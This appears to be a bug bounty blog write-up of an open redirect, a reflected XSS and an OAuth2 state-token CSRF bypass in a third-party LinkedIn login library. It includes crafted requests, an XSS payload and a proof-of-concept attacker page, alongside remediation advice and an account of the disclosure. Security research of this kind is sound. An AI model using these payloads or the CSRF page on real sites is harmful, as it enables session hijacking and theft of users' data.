Post

OAuth2 - What was wrong?

Intro

During my spare time in summer, I decided to get into OAuth2 in 3 simple steps:

  1. I bought the book called “Oauth 2 In Action”
  2. I read it
  3. I started to look for vulnerabilities in real web applications

The most exciting part was the last one. Surfing a website known to be a Bug Bounty platform and looking for a great program to get some bounties, I came across a website owned by an HR consulting company that provides a registration process via OAuth2 with Linkedin. But what was strange and unusual? The website made use of a third-party Javascript library to implement the OAuth2 dance. After time spent understanding the Javascript, I understood that it was a sort of interface that managed the OAuth process. That’s was surprising and attractive because a vulnerability there means a problem wherever it is used.

Since the company that developed the library had neither a bounty program nor a responsible disclosure program (but a great and polite Information Security Officer), I got in touch with them anyway to report the vulnerabilities I found. What’s the moral of this story? I passively made them open a responsible disclosure program! That is the best achievement I ever got, so proud of it! :D

Okay, now let’s start with the vulnerabilities!


Open Redirect

Let’s start with the first request sent while initialising the OAuth2 flow:

1
2
3
4
5
6
7
GET /<path>?method=linkedin&
token=9c5f2f2d-2575-4001-9116-352e0b5de2c6&
doValidation=true&
redirectOnError=https3A%2F%2F<subdomain>.<domain>.it%2F<path>&
postProfileUrl=https%3A%2F%<subdomain>.<domain>.it%2F<path>&
postOriginalDocument=true HTTP/1.1
Host: home.domain_B.nl

The request was created by the vulnerable javascript (we will see later why vulnerable). It took several parameters before going through the OAuth flow, here those which got my attention:

  • method: it stood for the Authorization/Resource Server (even though Linkedin was the only one available for the Italian website, by looking into the javascript there were other providers available: Dropbox, GooglePlus, Facebook and so on)
  • token: it could be the ID related to the main website
  • redirectOnError: a link where the user got redirected if any error occurred
  • postProfileUrl: a link where the user got redirected if no error occurred

The exploitation started in this request: if an error occurred, the user was redirected to the redirectOnError value, so my first attempt was just changing that value with a site of mine. To do it, I used a third online service created also for these kinds of purposes: Beeceptor. As the last step, I needed to change something to arise an error, so I deleted the token parameter from the request. In the end, the crafted request was like this:

1
2
3
4
5
GET /<path>?method=linkedin&doValidation=true&
redirectOnError=https3A%2F%2Fpocoauth.free.beeceptor.com&
postProfileUrl=https%3A%2F%2F<subdomain>.<domain>.it%2F<path>&
postOriginalDocument=true HTTP/1.1
Host: home.domain_B.nl
  • 1° Vuln Got !!!: the response was a 302 Redirect to the endpoint inserted in the redirectOnError parameter:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 302
x-content-type-options: nosniff
X-XSS-protection: 1; mode=block
cache-control: no-store, no-cache, must-revalidate, max-age=0,
post-check=0, pre-check=0
pragma: no-cache
p3p: CP="This site does not have a p3p policy."
set-cookie: JSESSIONID=<maybe one day>;
Path=/<path>; Secure; HttpOnly; SameSite=None
location:
https://pocoauth.free.beeceptor.com?TK_ERROR_MESSAGE=Required%20parameter%20missing%3A%20account&TK_ERROR_CODE=INPUT_MISSING
content-length: 0
date: Tue, 21 Jul 2020 13:06:28 GMT
p3p: CP=This site does not have a p3p policy.
connection: close

Impact

When explaining the impact of an open redirect it is common to default to phishing or similar attacks. The question of whether it actually is a problem or not to use an open redirect for phishing is debatable. If you receive a link which then redirects you to a sketchy site, how much more trustworthy is that compared to receiving a link to the sketchy site directly? While some companies do consider this a legitimate risk, others do not. I really want to mention what the Google Bughunter University thinks about it :

We invest in technologies to detect and alert users about phishing and abuse, but we generally hold that a small number of properly monitored redirectors offers fairly clear benefits and poses very little practical risk

Open Redirect is often quickly dismissed because phishing is the first thing you may come to think about, without considering what it could actually be combined with. Instead, an open redirect often allows other vulnerabilities to be exploited or chained to increase the impact. Let’s see two different examples:

  • OAuth: an open redirect could be used to bypass the restriction of requiring that the redirect_uri parameter must match a pre-configured URL, allowing an attacker to steal the code parameter linked to the victim’s account.
  • SSRF: in this case, open redirect is often used to bypass filters used to prevent SSRF attacks. Then, if the attack succeeds, an attacker will be able to retrieve information from the local network or doing something else more dangerous.

In the next vulnerability, I will demonstrate an interesting scenario where an Open Redirect leads to create new attacks surface where some vulnerabilities can be exploited. Above I explained two examples where an Open Redirect could be useful but actually, there are more scenarios. Being said that, fixing an open redirect prevents the vulnerability from being exploited at an earlier stage.

Remediation

I suggested ensuring that the supplied value (redirectOnError) is valid, appropriate for the application and authorized for the user. It is important to notice that the input should be validated by checking that the redirectOnError parameter redirects to the same site which made the wrong request, even if the input parameter has been changed by an attacker.


XSS and Open Redirect through OAuth2

The vulnerability described here is always an Open Redirect like the previous one but involves a different parameter. The attack scenario started from the same request as before, but now the attention was given to the postProfileUrl parameter and the scenario became a little bit more complex than the previous one because of the usage of OAuth. Modifying the postProfileUrl and sending the request, the user followed two redirects. The following was the crafted request:

1
2
3
4
5
6
7
GET /<path>?method=linkedin&
token=9c5f2f2d-2575-4001-9116-352e0b5de2c6&
doValidation=true&
redirectOnError=https3A%2F%2F<subdomain>.<domain>.it%2F<parameter/path>&
postProfileUrl=https3A%2F%2Fpocoauth.free.beeceptor.com%22%3E%3Cscript%3Ealert(document.%20domain)%3C/script%3E&
postOriginalDocument=true HTTP/1.1
Host: home.domain_B.nl

The payload above is URL encoded, here the value decoded:

https://pocoauth.free.beeceptor.com"><script>alert(document.domain)</script>

The part after the double quotes, they included, concerns the Reflected Cross Site Scripting founded after the LinkedIn Authentication process. The response that followed was the first redirect:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 302
x-content-type-options: nosniff
X-XSS-protection: 1; mode=block
cache-control: no-store, no-cache, must-revalidate, max-age=0,
post-check=0, pre-check=0
pragma: no-cache
p3p: CP="This site does not have a p3p policy."
set-cookie: JSESSIONID=<maybe one day>;
Path=/<path>; Secure; HttpOnly; SameSite=None
location: https://home.domain_B/<path>
content-length: 0
date: Tue, 21 Jul 2020 13:06:28 GMT
p3p: CP=This site does not have a p3p policy.
connection: close

As we can notice, the response is a 302 redirect to the value of the Location header. Once the redirection was done, the user got redirected to the LinkedIn page (second redirect), where OAuth2 started:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 302
x-content-type-options: nosniff
X-XSS-protection: l; mode=block
cache-control: no-store, no-cache, must-revalidate, max-age=0, post-check=0,
pre-check=0
pragma: no-cache
p3p: CP="This site does not have a p3p policy."
location:
https://www.linkedin.com/oauth/v2/authorization?response_type=code&
client_id=77xxxxxxxxxxxxxxxxxxxx3p&
redirect_uri=https%3A%2F%2Fhome.domain_B.nl%2F<path>%2FimportLinkedIn
rofile&state=XXXXXXXXX&scope=r_liteprofilet2Cr_emailaddress
content-length: 0
date: Tue, 21 Jul 2020 12:17:24 GMT
p3p: CP=This site does not have a p3p policy.
connection: close

After concluding the authentication and grant access to his LinkedIn data, the user was redirected to the redirect_uri parameter.

Here something started to happen: if the authentication succeeds, LinkedIn issues the code parameter for the endpoint home.domain_B.nl, so that it will be able to exchange that parameter with a token necessary to request the LinkedIn user’s data specified by the scope parameter. Diagrams are better than words:

Window shadow OAuth 2 Flow

The figure above shows the OAuth2 Authorization Code Flow after the authentication/authorization. Once the user is done, the browser redirects him to https://home.domain_B.nl/\<path\>/importLinkedInProfile?code=XXX&state= YYY, where a html form sends user’s data to the domain specified in the postProfileUrl parameter (in this case Beeceptor) in XML format:

1
2
GET /<path>/importLinkedInProfile?code=YYYYYYYYYY&state=XXXXXXXXX HTTP/1.1
Host: home.<domain_B.nl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
HTTP/1.1 200
x-content-type-options: nosniff
X-XSS-protection: 0
cache-control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
pragma: no-cache
p3p: CP="This site does not have a p3p policy."
set-Cookie: JSESSIONID=<maybe one day>; Path=/<path>; Secure; HttpOnly; SameSite=None
content-type: text/html; charset=UTF-8
date: Tue, 21 Jul 2020 13:41:59 GMT
p3p: CP=This site does not have a p3p policy.
connection: close
Content-Length: 8591

<html>
   <head>
      <title>
         Sourcebox
      </title>
      <link rel="stylesheet" href="https://home.domain_B.nl/<path>/styles/font-awesome.min.css?v=3.5.21" type="te
      <link rel="stylesheet" href="https://home.domain_B.nl/<path>/styles/style.css?v=3.5.21" type="text/css" mec
      <link rel="icon" href="https://home.domain_B.nl/<path>/styles/images/3.3/favicon.ico?v=3.5.21" type="image,
         <link rel="stylesheet" href="http://home.domain_B.nl/<path>/xxx_sourcebox.css" type="text/css"/>
   </head>
   <body>
      <form id="post_profile" method="post" action="https://pocoauth.free.beeceptor.com">
      <script>
         alert(document.domain)
      </script>
    ________REDACTED________
  • 2° Vuln Got !!!: the payload was reflected in the response, allowing an attacker to perform an XSS or injection attacks with all consequences of these types of attack. Therefore, if you have a look to the action attribute of the form, the user will be redirected to the site under our control.

Window shadow XSS

In a normal scenario, the response page contains a form, in our scenario broken because of unclosed double-quotes, that sends the data received from the Protected Resource (LinkedIn’s user data) to the main application (domain_A). This is the purpose of this page. It might be considered as an interface between the OAuth2 process and the application, but because of this vulnerability, it could be controlled by an attacker, who might trick the victim by creating a page under the domain of home.domain_B.nl (HTML Injection), sends fake or additional user’s data beyond the name, surname and email, initiates interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user or exploits XXE Injection attacks to retrieve files or exfiltrate data from the main application.

Impact

The previous section has shown how an open redirect might result in a critical scenario (the previous one described is an example!). Considering that the javascript offered by Domain_B may be used as a third component by many websites, thus no matter if it is just an open redirect, because any scenario is possible. If data received from Domain_B aren’t validated, an attacker can exploit an XSS also in the main application (or any client which is using that vulnerable component) because he/she can modify the interface which sends data, in XML format, to the client via an html tag form.

One shot, Two kills: This scenario is highly critical because it might ruin the image of Domain_B and the image of the website which is using the vulnerable module. Other applications could behave in a different way (also more critical the Domain_A does).

Remediation

The remediation here is not so different from the previous ones, but here the value of the postProfileUrl parameter is going to be reflected in the page of Domain_B used for the method chosen (in my case LinkedIn, so: <path>/importLinkedInProfile), so it is necessary a validation and sanitization of the parameter in order to prevent Cross Site Scripting or any Injection Attacks. Also, the redirection should be validated.


Bypass Anti-CSRF Token on OAuth2

To reproduce a CSRF attack, I needed to build a malicious server that the victim should visit through a link sent by me (the attacker). Although the victim might avoid clicking the link because it is from an untrusted source, an attacker could exploit the Open Redirect described above to trick the victim by using a trusted source to redirect him/her to the malicious server. In that case, the vulnerability would be used for a phishing attack:

https://home.domain_B.nl/<path>/importProfile?method=linkedin&doValidation=true&redirectOnError=MALICIOUS_SERVER_ADDRESS&postProfileUrl=https://extranet.<domain_A>.it/<path>&postOriginalDocument=true

Window shadow Malicious Server

The HTML source code of this server is pretty simple only because it is a demonstration, but in a real scenario the attacker should create a trusted page for the victim:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>

<body>
  <h1>ATTACKER SITE</h1>
  <button onclick="myFunction1 () ">Get a JSESSIONID valid</button>
  <button onclick="myFunction2 () ">Link the attacker's account to the victim's registration</button>
  <script>
    function sleep(milliseconds) {
      var start = new Date().getTime();
      for (var i 0; i < 1e7; i++) {
        if ((new Date().getTime() - start) > milliseconds) {
          break;
        }
      }
    }

    function myFunction1() {
      window.open(
        "https://home.domain_B.nl/<path>/importProfile?method=linkedin&token=<id_client>&doValidation=true&redirectonError=https%3A%2F%2Fextranet.<domain_A>.it%2F<path>&postProfileUrl=https%3A%2F%2Fextranet.<domain_A>.it%2FC<path>&postoriginalDocument=true",
        "_blank", "toolbar=yes,scrollbars=yes, resizable=yes, top=5,left=50,width=40, height=40");
      sleep(4000);
      // This fuction is needed to get a valid session in the Domain_B context.
    }

    function myFunction2() {
      document.location =
        "htts://home.<Domain_B>.nl/<path>/importLinkedInProfile?code=XXX&state=TGlu______________3JldA"
      sleep(4000);
    }

In order to make the attack succeed, the myFunction1() function is needed to get a valid session, otherwise, the second request to /<path>/importLinkedProfile?code=XXX&state=XXX fails. Once the malicious page is loaded, the first function should be run: for this PoC I have implemented two buttons to perform the two functions, but in a real scenario the action of clicking can be made via Javascript without any user interaction. The second function is critical: as you can see, it is a redirection to home.domain_B.nl with two important parameters passed:

  • code: this parameter represents the OAuth code related to the account signed in. To link the attacker’s account to the victim’s session this code must belong to the attacker. To get it I have followed these steps: as the attacker, I used my LinkedIn test account as I was doing the registration in the page of domain_A, but I dropped the request on Burp Suite once I got the code parameter (the figure below shows the request with the code):
1
2
GET /<path>/importLinkedInProfile?code=YYYYYYYYYY&state=TGlu______________3JldA HTTP/1.1
Host: home.domain_B.nl

Dropping that request means that the code was still valid, so the last step was only copying it in the right place on myFunction2:

1
2
3
function myFunction2 () {
  document.location="https://home.domain_B.nl/<path>/importLinkedInProfile?code=XXX&state=TGlu______________3JldA"
  sleep (4000);
  • state: this parameter represents an Anti-CSRF token in OAuth and should be unguessable and validated every time it’s used.

Once the myFuction2() is executed, the victim was redirected to the registration page in Domain_A with the attacker’s data:

Window shadow CSRF

  • 3° Vuln Got !!!: The blue box under the LinkedIn button means that the connection with LinkedIn succeeded without any problems (it is just written in Italian). Another confirmation was given by looking into the source code.

Final Consideration: The attack was possible because the value of the state parameter always remained the same: TGlu________3JldA. The state parameter for CSRF mitigation in OAuth2 on the redirection endpoint means that within its value, there is a unique and non-guessable value associated with each authentication request about to be initiated. That unique and non-guessable value allows preventing the attack by confirming if the value coming from the response matches the one expected (that generated when initiating the request).

Impact

The impact of this attack could be really serious because you are linking the attacker’s account to the victim’s session and that means an attacker can see what the victim is doing: if some sensitive data are added to the profile, the attacker will be able to see them because they will be in his account. Given the fact that the vulnerable javascript used was a third-party component, it should have prevented CSRF attacks, because every critical scenario is possible given the high number of web apps that might use it. Try to imagine if the victim is typing a credit card number or uploading a CV without realising that he/she is logged in to the attacker’s account.

Remediation

The implementation of the state parameter was completely wrong, because keeping always the same value was not a solution to prevent CSRF attack; it was just a waste of time because not implementing it would have been the same. The solution was simple: before sending a user to the provider, generate a random nonce and link it to the user session. When the user is back, the domain_B has to ensure the state received was equal to the previous one generated.

This post is licensed under CC BY 4.0 by the author.